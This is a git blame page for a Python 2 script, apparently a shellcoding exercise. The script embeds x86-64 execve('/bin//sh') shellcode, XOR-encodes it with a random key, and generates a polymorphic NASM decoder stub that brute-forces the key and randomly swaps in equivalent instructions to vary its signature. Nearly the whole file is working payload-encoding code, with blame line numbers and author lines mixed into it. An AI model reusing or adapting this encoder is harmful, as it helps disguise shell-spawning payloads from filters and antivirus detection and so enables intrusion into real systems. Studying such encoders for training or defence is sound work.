encoder.py 3.96 KB
Newer Older
André Lima's avatar
André Lima committed
1 2 3 4 5 6
#!/usr/bin/python
from random import randint

encoded = ""
encoded2 = ""

André Lima's avatar
André Lima committed
7
bad_chars = [0x00]
André Lima's avatar
André Lima committed
8 9 10

shellcode = ("\x90" + "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x54\x5e\x57\x54\x5a\x0f\x05")

André Lima's avatar
André Lima committed
11 12 13 14 15 16 17 18 19 20 21 22 23 24
def valid(byte):
    for ch in bad_chars:
        if ch == byte:
            return False
    return True

valid_R = False
while not valid_R:
    R = randint(0,2**8-1)
    print
    print "random generated number (key): 0x%02x" %R
    valid_R = True
    for x in bytearray(shellcode):
    	# XOR Encoding 	
André Lima's avatar
André Lima committed
25
	y = x ^ R
André Lima's avatar
André Lima committed
26 27 28 29 30
        if not valid(y):
            valid_R = False
            encoded = ""
            encoded2 = ""
            break
André Lima's avatar
André Lima committed
31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
	encoded += "\\x"
	encoded += "%02x" %y
	encoded2 += "0x"
	encoded2 += "%02x," %y
encoded2 = encoded2[0:-1] # the [0:-1] is just to remove the "," at the end 
print "Encoded shellcode ..."
print encoded
print encoded2
print
print "Len: %d" % len(bytearray(shellcode))
print

tab = "   "
poly_db = { "pop rdi":
                [tab+"pop rdi\n",
                 tab+"mov rdi,[rsp]\n"+tab+"add rsp,8\n"],
            "push <param1>|pop <param2>":
                [tab+"push <param1>\n"+tab+"pop <param2>\n",
                 tab+"mov <param2>,<param1>\n"],
            "mov byte dl,[rdi]":
                [tab+"mov byte dl,[rdi]\n",
                 tab+"mov r9,rdi\n"+tab+"mov byte dl,[r9]\n"],
            "xor rdi,rdi":
                [tab+"xor rdi,rdi\n",
                 tab+"sub rdi,rdi\n"],
            "inc rdi":
                [tab+"inc rdi\n",
                 tab+"dec rdi\n"+tab+"add rdi,2\n"],
            "mov byte <param1>,byte <param2>":
                [tab+"mov <param1>,<param2>\n",
                 tab+"mov r9b,<param2>\n"+tab+"mov <param1>,r9b\n"],
            "xor al,dil":
                [tab+"xor al,dil\n",
                 tab+"mov r9b,dil\n"+tab+"xor al,r9b\n"],
            "cmp al,0x90":
                [tab+"cmp al,0x90\n",
                 tab+"mov ah,0xff\n"+tab+"cmp ax,0xff90\n"],
            "push <number>|pop <param2>":
                [tab+"push <param1>\n"+tab+"pop <param2>\n",
                 tab+"xor <param2>,<param2>\n"+tab+"add <param2>,<param1>\n"],
            "xor byte [rdi],al":
                [tab+"xor byte [rdi],al\n",
                 tab+"mov byte r9b,[rdi]\n"+tab+"xor r9b,al\n"+tab+"mov byte [rdi],r9b\n"],
            "loop decode":
                [tab+"loop decode\n",
                 tab+"dec rcx\n"+tab+"xor r9,r9\n"+tab+"cmp r9,rcx\n"+tab+"jne decode\n"]
        }
def poly(instruction,param1="",param2="",param3=""):
    options = poly_db[instruction]
    r = randint(0,len(options)-1)
    str = options[r]
    str = str.replace("<param1>",param1)
    str = str.replace("<param2>",param2)
    str = str.replace("<param3>",param3)
    return str

code =  "global _start \n"
code += "\n"
code += "section .text\n"
code += "\n"
code += "_start:\n"
code += "   jmp short find_address\n"
code += "decoder:\n"
code += "   ; Get the address of the string \n"
code +=     poly("pop rdi")
code +=     poly("push <param1>|pop <param2>","rdi","rbx")
code += "\n"
code += "   ; get the first byte and bruteforce till you get the token 0x90\n"

code +=     poly("mov byte dl,[rdi]")
code +=     poly("xor rdi,rdi") # key that will be incremented from 0x00 to 0xff
code += "bruteforce:\n"
code +=     poly("inc rdi")
code +=     poly("mov byte <param1>,byte <param2>","al","dl")
code +=     poly("xor al,dil")
code +=     poly("cmp al,0x90")
code += "   jne bruteforce\n"
code += "\n"
code +=     poly("push <number>|pop <param2>",str(len(bytearray(shellcode))),"rcx")
code +=     poly("mov byte <param1>,byte <param2>","al","dil")
code +=     poly("push <param1>|pop <param2>","rbx","rdi")
code += "decode:\n"
code +=     poly("xor byte [rdi],al")
code +=     poly("inc rdi")
code +=     poly("loop decode")
code += "\n"
code += "   jmp rbx\n" # jmp to decoded shellcode
code += "   \n"
code += "find_address:\n"
code += "   call decoder\n"
code += "   encoded db " + encoded2 + "\n"

fout = open("decoder.nasm","w")
fout.write(code)